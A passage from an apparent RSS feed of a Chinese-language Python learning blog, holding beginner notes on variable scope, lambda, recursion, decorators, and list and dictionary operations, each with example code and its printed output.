<p>变量的作用域指的是变量的可见范围，分两类：</p>
<ul>
<li>全局变量</li>
<li>局部变量</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 全局变量</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="mi">20</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span> <span class="o">=</span> <span class="mi">30</span>
</span></span><span class="line"><span class="cl"><span class="n">c</span> <span class="o">=</span> <span class="mi">5</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">my_fun</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># 局部变量</span>
</span></span><span class="line"><span class="cl">    <span class="n">a</span> <span class="o">=</span> <span class="mi">7</span>
</span></span><span class="line"><span class="cl">    <span class="n">b</span> <span class="o">=</span> <span class="mi">10</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s1">&#39;call my_fun：a=</span><span class="si">{}</span><span class="s1">, b=</span><span class="si">{}</span><span class="s1">, c=</span><span class="si">{}</span><span class="s1">&#39;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#     在函数里面有定义a,b变量属于局部变量，</span>
</span></span><span class="line"><span class="cl"><span class="c1">#     在使用的时候优先使用局部变量，</span>
</span></span><span class="line"><span class="cl"><span class="c1">#     看不见函数外面的全局变量</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#     函数里面没有定义c变量</span>
</span></span><span class="line"><span class="cl"><span class="c1">#     使用的时候会去查找外面的全局变量</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">my_fun</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s1">&#39;a=</span><span class="si">{}</span><span class="s1">, b=</span><span class="si">{}</span><span class="s1">, c=</span><span class="si">{}</span><span class="s1">&#39;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 在外面看不见函数里面的局部变量</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">call my_fun：a=7, b=10, c=5
</span></span><span class="line"><span class="cl">a=20, b=30, c=5
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 全局变量</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="mi">20</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span> <span class="o">=</span> <span class="mi">30</span>
</span></span><span class="line"><span class="cl"><span class="n">c</span> <span class="o">=</span> <span class="mi">5</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">my_fun</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 局部变量</span>
</span></span><span class="line"><span class="cl">    <span class="n">a</span> <span class="o">=</span> <span class="mi">7</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 可以用global声明b是函数外面的全局变量</span>
</span></span><span class="line"><span class="cl">    <span class="k">global</span> <span class="n">b</span>
</span></span><span class="line"><span class="cl">    <span class="n">b</span> <span class="o">=</span> <span class="mi">10</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s1">&#39;call my_fun：a=</span><span class="si">{}</span><span class="s1">, b=</span><span class="si">{}</span><span class="s1">, c=</span><span class="si">{}</span><span class="s1">&#39;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">my_fun</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s1">&#39;a=</span><span class="si">{}</span><span class="s1">, b=</span><span class="si">{}</span><span class="s1">, c=</span><span class="si">{}</span><span class="s1">&#39;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 在函数外面可以看到变量b被修改了</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">call my_fun：a=7, b=10, c=5
</span></span><span class="line"><span class="cl">a=20, b=10, c=5
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="匿名函数">匿名函数</h3>
<p>Python中用lambda定义匿名函数</p>
<p>格式： lambda 参数:表达式</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">f</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="n">x</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">+</span> <span class="n">x</span> <span class="o">+</span> <span class="mi">2</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">## 等价f(x)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># def f(x):</span>
</span></span><span class="line"><span class="cl"><span class="c1">#     return x * 2 + x + 2</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">f</span><span class="p">(</span><span class="mi">2</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">f</span><span class="p">(</span><span class="mi">5</span><span class="p">))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">8
</span></span><span class="line"><span class="cl">17
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="递归函数">递归函数</h3>
<p>在函数里面调用函数自己本身来解决问题，这就是递归。</p>
<p>在遇到一些定义，数据结构或问题的解决方法是递归的时候，可以考虑使用递归函数。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 经典例子：计算n的阶乘n!</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">factorial</span><span class="p">(</span><span class="n">n</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 递归出口</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">n</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># 递归体</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">n</span> <span class="o">*</span> <span class="n">factorial</span><span class="p">(</span><span class="n">n</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">factorial</span><span class="p">(</span><span class="mi">4</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">factorial</span><span class="p">(</span><span class="mi">9</span><span class="p">))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">24
</span></span><span class="line"><span class="cl">362880
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="装饰器">装饰器</h3>
<p>在Python中可以用装饰器来修饰函数。</p>
<p>使用装饰器的目的在于：为原有函数添加新的功能但不修改原来的程序。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 定义一个装饰器</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">print_fun_name</span><span class="p">(</span><span class="n">func</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">wrapper</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s1">&#39;-----------------&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s1">&#39;call function:</span><span class="si">{}</span><span class="s1">&#39;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">func</span><span class="o">.</span><span class="vm">__name__</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s1">&#39;-----------------&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">func</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">wrapper</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 使用装饰器</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nd">@print_fun_name</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">say_hello</span><span class="p">(</span><span class="n">name</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s1">&#39;Hello&#39;</span><span class="p">,</span> <span class="n">name</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nd">@print_fun_name</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">say_bye</span><span class="p">(</span><span class="n">name</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s1">&#39;Bye&#39;</span><span class="p">,</span> <span class="n">name</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">say_hello</span><span class="p">(</span><span class="s1">&#39;yjcps&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">say_bye</span><span class="p">(</span><span class="s1">&#39;hacper&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">-----------------
</span></span><span class="line"><span class="cl">call function:say_hello
</span></span><span class="line"><span class="cl">-----------------
</span></span><span class="line"><span class="cl">Hello yjcps
</span></span><span class="line"><span class="cl">-----------------
</span></span><span class="line"><span class="cl">call function:say_bye
</span></span><span class="line"><span class="cl">-----------------
</span></span><span class="line"><span class="cl">Bye hacper
</span></span></code></pre></td></tr></table>
</div>
</div><hr>
<h2 id="da-series---learn-python-with-steem">[DA series - Learn Python with Steem]</h2>
<ul>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-01-python">[DA series - Learn Python with Steem #01] 安裝Python、文字編輯器與哈囉！</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-02">[DA series - Learn Python with Steem #02] 變數與資料型態</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-03">[DA series - Learn Python with Steem #03] 邏輯判斷</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-04">[DA series - Learn Python with Steem #04] 迴圈</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem05-n09ajzsh91">[DA series – Learn Python with Steem #05] 基本資料結構</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-06">[DA series - Learn Python with Steem #06] 函式</a></li>
</ul>
<h2 id="我的笔记">我的笔记：</h2>
<ul>
<li><a href="https://busy.org/@yjcps/learn-python-with-steem-01">Learn Python with Steem #01 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem02-2ilwe1ti59">Learn Python with Steem #02 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem03-l5w15fszh9">Learn Python with Steem #03 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem04-0d8jly8ypt">Learn Python with Steem #04 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem05-n09ajzsh91">Learn Python with Steem #05 笔记</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Learn Python with Steem #05 笔记</title>
      <link>https://hacperme.com/posts/notes/2018-08-02-learn-python-with-steem-05-note/</link>
      <pubDate>Thu, 02 Aug 2018 12:40:11 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2018-08-02-learn-python-with-steem-05-note/</guid>
      <description>Learn Python with Steem #05 笔记 [toc] 划重点 字典 字典是Python内置的一种可变的数据结构，也是一种容器，可以放置任意类型的元素， 特点是用 {} 定义，元素以键值对的形</description>
      <content:encoded><![CDATA[<h1 id="learn-python-with-steem-05-笔记">Learn Python with Steem #05 笔记</h1>
<hr>
<p>[toc]</p>
<h2 id="划重点">划重点</h2>
<ul>
<li>
<p>字典 字典是Python内置的一种可变的数据结构，也是一种容器，可以放置任意类型的元素，</p>
<p>特点是用 {} 定义，元素以键值对的形式组织，键和值是一一对应的映射关系。</p>
<p>字典的常用操作：创建，访问，更新，删除。</p>
</li>
<li>
<p>列表</p>
<p>列表也是Python中一种可变的数据结构，其元素可以是任意类型，用 [] 定义。</p>
<p>列表的常用操作：创建，访问，添加，删除，切片，排序。</p>
</li>
</ul>
<h2 id="编程练习">编程练习</h2>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 作业</span>
</span></span><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="n">n</span><span class="o">**</span><span class="mi">3</span> <span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">11</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">my_dictionary</span> <span class="o">=</span> <span class="nb">dict</span><span class="p">(</span><span class="nb">zip</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">11</span><span class="p">),</span> <span class="p">[</span><span class="n">n</span><span class="o">**</span><span class="mi">2</span> <span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">11</span><span class="p">)]))</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_dictionary</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[1, 8, 27, 64, 125, 216, 343, 512, 729, 1000]
</span></span><span class="line"><span class="cl">{1: 1, 2: 4, 3: 9, 4: 16, 5: 25, 6: 36, 7: 49, 8: 64, 9: 81, 10: 100}
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="补充">补充</h2>
<h3 id="列表">列表</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 创建</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 元素可以是任意类型</span>
</span></span><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="mi">3</span><span class="p">,</span> <span class="s1">&#39;apple&#39;</span><span class="p">,</span> <span class="mf">3.14</span><span class="p">,</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">],</span> <span class="p">{</span><span class="s1">&#39;name&#39;</span><span class="p">:</span> <span class="s1">&#39;yjcps&#39;</span><span class="p">}]</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 列表生成式</span>
</span></span><span class="line"><span class="cl"><span class="n">my_num</span> <span class="o">=</span> <span class="p">[</span><span class="n">n</span><span class="o">+</span><span class="mi">1</span> <span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_num</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[3, &#39;apple&#39;, 3.14, [1, 2, 3], {&#39;name&#39;: &#39;yjcps&#39;}]
</span></span><span class="line"><span class="cl">[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 使用整数下标访问元素，第一个元素从0开始</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 可以使用负数</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">[</span><span class="o">-</span><span class="mi">3</span><span class="p">])</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">3
</span></span><span class="line"><span class="cl">3.14
</span></span><span class="line"><span class="cl">3.14
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 元素个数，列表长度</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">my_list</span><span class="p">))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">5
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 添加元素</span>
</span></span><span class="line"><span class="cl"><span class="n">my_list</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="mi">555</span><span class="p">)</span> <span class="c1"># 添加到末尾</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">my_list</span><span class="o">.</span><span class="n">insert</span><span class="p">(</span><span class="o">-</span><span class="mi">2</span><span class="p">,</span> <span class="s1">&#39;steem&#39;</span><span class="p">)</span> <span class="c1">#指定位置</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">my_list</span><span class="o">.</span><span class="n">extend</span><span class="p">([</span><span class="mi">16</span><span class="p">,</span><span class="mi">22</span><span class="p">,</span><span class="mi">73</span><span class="p">,</span><span class="mi">45</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">[3, &#39;apple&#39;, 3.14, [1, 2, 3], {&#39;name&#39;: &#39;yjcps&#39;}, 555]
</span></span><span class="line"><span class="cl">[3, &#39;apple&#39;, 3.14, [1, 2, 3], &#39;steem&#39;, {&#39;name&#39;: &#39;yjcps&#39;}, 555]
</span></span><span class="line"><span class="cl">[3, &#39;apple&#39;, 3.14, [1, 2, 3], &#39;steem&#39;, {&#39;name&#39;: &#39;yjcps&#39;}, 555, 16, 22, 73, 45]
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 遍历列表</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">item</span> <span class="ow">in</span> <span class="n">my_list</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">item</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">3
</span></span><span class="line"><span class="cl">apple
</span></span><span class="line"><span class="cl">3.14
</span></span><span class="line"><span class="cl">[1, 2, 3]
</span></span><span class="line"><span class="cl">steem
</span></span><span class="line"><span class="cl">{&#39;name&#39;: &#39;yjcps&#39;}
</span></span><span class="line"><span class="cl">555
</span></span><span class="line"><span class="cl">16
</span></span><span class="line"><span class="cl">22
</span></span><span class="line"><span class="cl">73
</span></span><span class="line"><span class="cl">45
